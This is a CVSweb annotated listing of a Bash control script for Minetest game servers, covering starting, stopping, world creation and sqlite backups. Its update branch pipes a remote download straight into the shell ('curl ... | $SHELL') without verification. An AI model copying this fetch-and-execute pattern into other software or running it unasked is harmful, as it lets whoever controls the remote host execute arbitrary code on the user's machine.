[BACK]Return to mtctl_default.sh CVS log [TXT][DIR] Up to [local] / mtctl

Annotation of mtctl/mtctl_default.sh, Revision 1.4

1.1       bountyht    1: #---------------------------------------------------------------------
                      2: # Filename: mtctl
                      3: # Purpose: Minetest server Control
                      4: # License: Copyright (C) 2021 by Miniontoby <miniontoby@ircnow.org>
                      5: #---------------------------------------------------------------------
1.4     ! minionto    6: VERSION="1.3"
1.2       bountyht    7: config=[]
                      8: config[0]="no"; config[1]="/usr/local/share/minetest/"
1.1       bountyht    9:
                     10: #---------------------------------------------------------------------
                     11: # Alias
                     12:
                     13: mtinfo() {
                     14:        MSG="$1"
                     15:        echo -e "mtctl: $MSG" | sed -e 's/\\n/\\nmtctl: /'
                     16: }
                     17: mthelp() {
1.3       minionto   18:        echo -e "usage:  mtctl start|stop|restart|status|create|backup worldname\n        mtctl list|help|version|check_updates"; exit 1
1.1       bountyht   19: }
1.2       bountyht   20: if [ "x$1" == "x" ]; then mthelp; exit 1; fi
1.1       bountyht   21:
                     22:
                     23: #---------------------------------------------------------------------
1.2       bountyht   24: # Setup
                     25:
                     26: if [[ "`id -u`" -eq 0 ]]; then CONFDIR=/etc/mtctl; else CONFDIR=$HOME/.mtctl; fi
                     27: if [ \! -d $CONFDIR ]; then mkdir -p $CONFDIR || exit 1; fi
                     28: if [ \! -f $CONFDIR/config ]; then
                     29:        mtinfo "\nNo configfile found!\nCreating it now!\n\n"
                     30:        echo -n 'Use custom build minetest folder (yes/no): '; read MTBUILD
                     31:        case $MTBUILD in
                     32:                YES|yes) MTBUILD='yes'
                     33:                        EXAMPLEDIR="$HOME/minetest"
                     34:                        ;;
                     35:                NO|no) MTBUILD='no'
                     36:                        EXAMPLEDIR="$HOME/.minetest"
                     37:                        ;;
                     38:                *) mtinfo "Error, not a valid option!"
                     39:                        exit 1
                     40:                        ;;
                     41:        esac
                     42:        echo -n "Insert the path to the minetest folder(eg. $EXAMPLEDIR): "; read MTLOCATION
                     43:
                     44:        echo -e "builded=$MTBUILD\nlocation=$MTLOCATION" > $CONFDIR/config
                     45:        unset MTBUILD MTLOCATION EXAMPLEDIR
                     46:        mtinfo "Configfile created!!\n\n"
                     47: fi
                     48:
                     49: while read line; do
                     50:        linea="`echo $line | grep -F = 2> /dev/null`"
                     51:        if [ "x$linea" \!= "x" ]; then
                     52:                varname=$(echo "$line" | cut -d '=' -f 1)
                     53:                case $varname in
                     54:                        builded) indexnumber=0
                     55:                                ;;
                     56:                        location) indexnumber=1
                     57:                                ;;
                     58:                esac
                     59:                config[$indexnumber]=$(echo "$line" | cut -d '=' -f 2-)
                     60:        fi
                     61: done < $CONFDIR/config
1.1       bountyht   62:
1.2       bountyht   63: mtsetup() {
                     64:        EXITDIR=${config[1]}/tmp
                     65:        if [ "${config[0]}" == "yes" ]; then SERVEREXE="${config[1]}/bin/minetestserver"; else SERVEREXE="`which minetestserver`"; fi
                     66:        WORLDBASE=${config[1]}/worlds
                     67:        LOGDIR=${config[1]}/log
                     68:        EXITFLAGALL=$EXITDIR/minestop.all
                     69:        OK=0; cd ${config[1]} || exit 1
                     70:        touch temp.test && OK=1; if [ "@$OK" == "@0" ]; then mtinfo "Error: Directory tree should be owned by the MT user:\n${config[1]}"; exit 1; fi
                     71:        rm temp.test || exit 1
                     72:        if [ \! -f $SERVEREXE ]; then mtinfo "Error: Couldn't determine SERVEREXE setting\n$SERVEREXE"; exit 1; fi
                     73:
                     74:        mkdir -p $EXITDIR || exit 1
                     75:        mkdir -p $WORLDBASE || exit 1
                     76:        mkdir -p $LOGDIR || exit 1
                     77: }
1.1       bountyht   78:
                     79: #---------------------------------------------------------------------
                     80: # Normal Functions
                     81:
                     82: GetPIDS() {
                     83:        FOO=`ps ax | grep $SERVEREXE | grep " $1" | grep -e "--port" | sed -e "s/^ *//" -e "s/ .*//"`; BAR=`ps ax | grep "mtctl start *$2"\$ | grep -v grep | grep -v "^ *$$ " | sed -e "s/^ *//" -e "s/ .*//"`
                     84: }
                     85:
                     86: SetWorld() {
                     87:        NAME=$1; if [ "x$NAME" == "x" ]; then mthelp; exit 1; fi
                     88:        WORLDDIR=$WORLDBASE/$NAME; if [ \! -d $WORLDDIR ]; then mtstatus "Failed"; mtinfo "Error: World not found: $NAME"; exit 1; fi
                     89:        PORT=`grep '^port.*=' $WORLDDIR/world.conf | sed -e "s/^.*= *//" -e "s/ .*//"`; if [ "x$PORT" == "x" ]; then mtstatus "Failed"; mtinfo "Error: Port for $NAME not defined in cfg file"; exit 1; fi
                     90: }
                     91: mtstatus() {
                     92:        CHECK="$1"
                     93:        EXTRA=""
                     94:        if [ "$CHECK" == "Ok" ]; then
                     95:                GetPIDS "$WORLDDIR" "$NAME"
                     96:                if [ "x$FOO$BAR" \!= "x" ]; then
                     97:                        CHECK="Online"
                     98:                else
                     99:                        CHECK="Offline"
                    100:                fi
                    101:                EXTRA="\n"
1.4     ! minionto  102:         elif [ "$CHECK" == "Failed" ]; then EXTRA="  \n";
        !           103:         elif [ "$CHECK" == "Backup failed" ]; then EXTRA="  \n";
        !           104:         elif [ "$CHECK" == "Backup success" ]; then EXTRA="  \n"; fi
1.1       bountyht  105:        echo -ne "\r$NAME($CHECK)$EXTRA"
                    106: }
                    107:
                    108: #---------------------------------------------------------------------
                    109: # Functions for executing the actions
                    110:
                    111: startMT() {
                    112:        SetWorld "$1"; mtstatus
                    113:        GetPIDS "$WORLDDIR" "$NAME"
                    114:        BAR=`echo $BAR | wc -l`
                    115:        if [ "x$FOO" \!= "x" ]; then
                    116:                mtstatus "Failed"
                    117:                mtinfo "Error: World seems already to be running\nIf it is not running, run $ mctl stop $NAME to be sure"
                    118:                exit 1
                    119:        fi
                    120:
                    121:        EXITFLAGWORLD=$EXITDIR/minestop.$NAME
1.2       bountyht  122:        MINETEST_SUBGAME_PATH=${config[1]}/games
1.1       bountyht  123:        # MAYBE Export if linux doesnt work
                    124:
                    125:        rm -f $EXITFLAGALL $EXITFLAGWORLD
                    126:        sleep 1; DIR=`pwd` || exit 1; cd $WORLDDIR || exit 1
                    127:        F1=env_meta.txt; F2=env_meta.old; if [ -s $F1 ]; then N=`grep EnvArgsEnd $F1 | wc -l` || exit 1; if [ "x$N" == "x0" ]; then rm -f $F1 || exit 1; fi; fi; if [ -s $F1 ]; then rm -f $F2; cp -p $F1 $F2 || exit 1; else if [ -s $F2 ]; then rm -f $F1; cp -p $F2 $F1 || exit 1; else rm -f $F1 || exit 1; fi; fi
                    128:        cd $DIR || exit 1
                    129:
                    130:        (
                    131:        while true; do
                    132:                $SERVEREXE --config $WORLDDIR/world.conf --port $PORT --logfile $LOGDIR/debug-$NAME.log --map-dir $WORLDDIR >> $LOGDIR/$NAME.log 2>&1
                    133:                if [ -f $EXITFLAGALL ]; then exit 0; fi; if [ -f $EXITFLAGWORLD ]; then exit 0; fi; sleep 10
                    134:        done
                    135:        ) > $LOGDIR/start-$NAME.txt &
                    136:        mtstatus "Ok"
                    137: }
                    138:
                    139: stopMT() {
                    140:        SetWorld "$1"; mtstatus
                    141:        GetPIDS "$WORLDDIR" "$NAME"
                    142:        if [ "x$FOO$BAR" == "x" ]; then mtstatus "Failed"; mtinfo "$NAME seems to be stopped already"; exit 0; fi
                    143:        if [ "x$FOO" \!= "x" ]; then kill -SIGINT $FOO 2> /dev/null ; sleep 1; kill -SIGINT $FOO 2> /dev/null ; sleep 1; kill -SIGINT $FOO 2> /dev/null ; sleep 1; kill -SIGINT $FOO 2> /dev/null ; fi
                    144:        if [ "x$BAR" \!= "x" ]; then kill -9 $BAR; fi
                    145:
                    146:        mtstatus "Waiting"
                    147:        sleep 15; GetPIDS "$WORLDDIR" "$NAME"
                    148:
                    149:        if [ "x$FOO$BAR" == "x" ]; then
                    150:                mtstatus "Ok"
                    151:        else
                    152:                kill -9 $FOO; kill -9 $FOO; kill -9 $FOO; kill -9 $FOO;
                    153:                if [ "x$BAR" \!= "x" ]; then kill -9 $BAR; fi
                    154:
                    155:                mtstatus "Waiting."
                    156:                sleep 15; GetPIDS "$WORLDDIR" "$NAME"
                    157:                if [ "x$FOO$BAR" == "x" ]; then
                    158:                        mtstatus "Ok"
                    159:                else
                    160:                        mtstatus "Failed"; mtinfo "Error: Stop of $NAME failed\nTry once more, then consult a sysadmin"; exit 1
                    161:                fi
                    162:        fi
                    163: }
                    164:
                    165: restartMT() {
                    166:        SetWorld "$1"
                    167:        /usr/bin/mtctl stop "$1"|| exit 1
                    168:        /usr/bin/mtctl start "$1" || exit 1
                    169: }
                    170:
                    171: statusMT() {
1.4     ! minionto  172:         SetWorld "$1"
        !           173:         GetPIDS "$WORLDDIR" "$NAME"
        !           174:         if [ "x$FOO$BAR" \!= "x" ]; then
        !           175:                 STATUS="Online"
        !           176:         else
        !           177:                 STATUS="Offline"
        !           178:         fi
        !           179:         LASTLOG="`tail -n 5 $LOGDIR/$NAME.log`"
        !           180:         echo -e "mtctl.$1 - The Minetest Server Control\n   Active: $STATUS\n  Process: $FOO\n Main PID: $BAR\n\n$LASTLOG"
1.1       bountyht  181: }
                    182:
                    183: listMT() {
                    184:        for WORLDNAME in `ls $WORLDBASE 2> /dev/null | grep '^[a-zA-Z0-9]*$' | sort`; do
                    185:                SetWorld "$WORLDNAME"
                    186:                mtinfo "World: $WORLDNAME Port: $PORT"
                    187:        done
                    188: }
                    189:
                    190: createMT() {
                    191:        NAME=$1; if [ "x$NAME" == "x" ]; then mthelp; exit 1; fi
                    192:        if [ "x$NAME" == "x" ]; then echo -e "Failed\nError: Worlds need a name\n"; exit 1; else if [ -d $WORLDBASE/$NAME ]; then echo -e "Failed\nError: World already exist\n"; exit 1; else echo -e "Server name: Ok"; fi; fi
                    193:        echo -ne "\nServer Description: "; read SERVER_DESCRIPTION
                    194:        PortCheck () {
                    195:                CHECK='yes'; if [ -z "${PORT##*[!0-9]*}" ]; then CHECK='no'; ERROR="Ports are only numeric"; return; fi; for x in `ls /home/$MTUSER/minetest/worlds | sort`; do export WCFILE=$WORLDBASE/$x/world.conf; if [ -f $WCFILE ]; then export PORTF=`grep '^port.*=' $WCFILE | sed -e "s/^.*= *//" -e "s/ .*//"`; if [ "x$PORTF" == "x$1" ]; then CHECK='no'; ERROR="Port already in use"; return; fi; fi; done
                    196:        }
                    197:        while true; do echo -ne "\nPort: "; read PORT; PortCheck $PORT; if [ "$CHECK" == "no" ]; then echo -e "Failed\nError: $ERROR"; sleep 1; else echo -e "Ok"; break; fi; done
                    198:        echo -ne "\nMessage Of The Day [MOTD]: "; read MOTD; echo -ne "\nSeed: "; read SEED; echo -ne "\nCreative (true/false): "; read CREATIVE_MODE
                    199:        echo -ne "\nEnable Damage (true/false): "; read ENABLE_DAMAGE; echo -ne "\nEnable Player Versus Player [PVP] (true/false): "; read ENABLE_PVP
                    200:        echo -ne "\nUsername: "; read USERNAME
                    201:
                    202:        cd $WORLDBASE; mkdir $NAME; cd $NAME
1.3       minionto  203:        echo -e "server_name = $NAME\nserver_description = $SERVER_DESCRIPTION\nport = $PORT\nmotd = $MOTD\nfixed_map_seed = $SEED\ncreative_mode = $CREATIVE_MODE\nenable_damage = $ENABLE_DAMAGE\nenable_pvp = $ENABLE_PVP\nname = $USERNAME\nserver_announce = true\nserverlist_url = servers.minetest.net\nsqlite_synchronous = 0\nserver_unload_unused_data_timeout = 900\nserver_map_save_interval = 900.0" > world.conf
1.1       bountyht  204:        echo -e "creative_mode = $CREATIVE_MODE\nenable_damage = $ENABLE_DAMAGE\nauth_backend = sqlite3\nbackend = sqlite3\nplayer_backend = sqlite3\ngameid = minetest\nworld_name = $NAME" > world.mt
                    205:        echo -ne "\nWorld created!\nWant to start the world?(yes/no): "; read startit
                    206:        if [[ "$startit" == "yes" ]]; then /usr/bin/mtctl start $NAME; fi
                    207:        echo -e "\nSuccess: \033[1;32mDone \033[m\nFeel free to join your new server at port $PORT"
                    208: }
                    209:
1.3       minionto  210: backupMT() {
                    211:        SetWorld "$1"
                    212:        # Backup script from mtlbak by Minix
                    213:        # Copyright (C) 2021 Minix from FreedomTest (freedomtest@protonmail.com)
                    214:
                    215:        BACKUP_DIR="$CONFDIR/backups/$NAME"
                    216:        LOG_FILE="$LOGDIR/backup_$NAME.log"
                    217:        mkdir -p $BACKUP_DIR
                    218:        echo -ne "" >> $LOG_FILE
                    219:
                    220:        if [ -f /tmp/$(basename $WORLDDIR)_local_backup_in_progress ]; then
                    221:                echo "\nBackup for $(basename $WORLDDIR) on $(date) aborted because another backup is already in progress, this may be caused by a backup that is taking longer than expected" >> $LOG_FILE
                    222:                mtinfo "Backup for $(basename $WORLDDIR) on $(date) aborted because another backup is already in progress, this may be caused by a backup that is taking longer than expected"
                    223:                exit 1
                    224:        fi
                    225:
                    226:        touch /tmp/$(basename $WORLDDIR)_local_backup_in_progress
                    227:        rm $BACKUP_DIR/map.sqlite.tmp* 2> /dev/null #Cleaning in case of crashed attempts
                    228:
                    229:        echo -e "\n$(date) backup started" >> $LOG_FILE
                    230:        mtstatus "Backup started"
                    231:
                    232:        try=0
                    233:        while [ $try -lt 5 ]; do
                    234:                echo "Starting backup attempt #$(expr $try + 1) on $(date)" >> $LOG_FILE
                    235:                sqlite3 $WORLDDIR/map.sqlite ".backup $BACKUP_DIR/map.sqlite.tmp" 2> /dev/null
                    236:                if [ $? -eq 0 ]; then
                    237:                        mv $BACKUP_DIR/{map.sqlite.tmp,map.sqlite}
                    238:                        #Backup auth.sqlite and players.sqlite files properly
                    239:                        until sqlite3 $WORLDDIR/auth.sqlite ".backup $BACKUP_DIR/auth.sqlite" 2> /dev/null; do
                    240:                                continue
                    241:                        done
                    242:                        until sqlite3 $WORLDDIR/players.sqlite ".backup $BACKUP_DIR/players.sqlite" 2> /dev/null; do
                    243:                                continue
                    244:                        done
                    245:                        rsync -ptrW --delete --exclude "*.sqlite" $WORLDDIR/ $BACKUP_DIR/
                    246:                        echo "Backup finished succesfully on $(date)" >> $LOG_FILE
                    247:                        mtstatus "Backup success"
                    248:                        rm /tmp/$(basename $WORLDDIR)_local_backup_in_progress 2> /dev/null
                    249:                        exit 0
                    250:                else
                    251:                        rm $BACKUP_DIR/map.sqlite.tmp 2> /dev/null
                    252:                        try=$(expr $try + 1)
                    253:                        if [ $try -eq 5 ]; then
                    254:                                echo "Backup failed 5 times, aborting on $(date)" >> $LOG_FILE
                    255:                                mtstatus "Backup failed"
                    256:                                rm /tmp/$(basename $WORLDDIR)_local_backup_in_progress 2> /dev/null
                    257:                                exit 1
                    258:                        else
                    259:                                echo "map.sqlite backup attempt #$try failed, retrying in 60 seconds" >> $LOG_FILE
                    260:                                sleep 60
                    261:                        fi
                    262:                fi
                    263:        done
                    264: }
                    265:
                    266:
1.1       bountyht  267: #---------------------------------------------------------------------
                    268: # Handle the actions
1.2       bountyht  269: ACTION="$1"
1.1       bountyht  270:
                    271: case $ACTION in
                    272:        start)
1.2       bountyht  273:                mtsetup
1.1       bountyht  274:                startMT "$2"
                    275:                ;;
                    276:        stop)
1.2       bountyht  277:                mtsetup
1.1       bountyht  278:                stopMT "$2"
                    279:                ;;
                    280:        restart)
1.2       bountyht  281:                mtsetup
1.1       bountyht  282:                restartMT "$2"
                    283:                ;;
                    284:        status)
1.2       bountyht  285:                mtsetup
1.1       bountyht  286:                statusMT "$2"
                    287:                ;;
                    288:        list)
1.2       bountyht  289:                mtsetup
1.1       bountyht  290:                listMT
                    291:                ;;
                    292:        create)
1.2       bountyht  293:                mtsetup
1.1       bountyht  294:                createMT "$2"
                    295:                ;;
                    296:        version)
                    297:                mtinfo "Version: $VERSION"
                    298:                ;;
                    299:        check_updates)
                    300:                NEWESTVERSION=$(curl https://cvsweb.planetofnix.com/cgi-bin/cvsweb/~checkout~/mtctl/version.txt?content-type=text/plain 2> /dev/null)
                    301:                if [ "$NEWESTVERSION" \!= "$VERSION" ]; then
                    302:                        mtinfo "Update avaible!\n\nInstalling update NOW!"
1.4     ! minionto  303:                        curl -sSL https://ircforever.org/mtctl.php | $SHELL
1.1       bountyht  304:                fi
1.2       bountyht  305:                ;;
1.1       bountyht  306:        help)
                    307:                mthelp
                    308:                ;;
                    309:        *)
                    310:                mthelp
                    311:                ;;
                    312: esac
                    313:
                    314:
                    315: #---------------------------------------------------------------------
                    316: # Final

CVSweb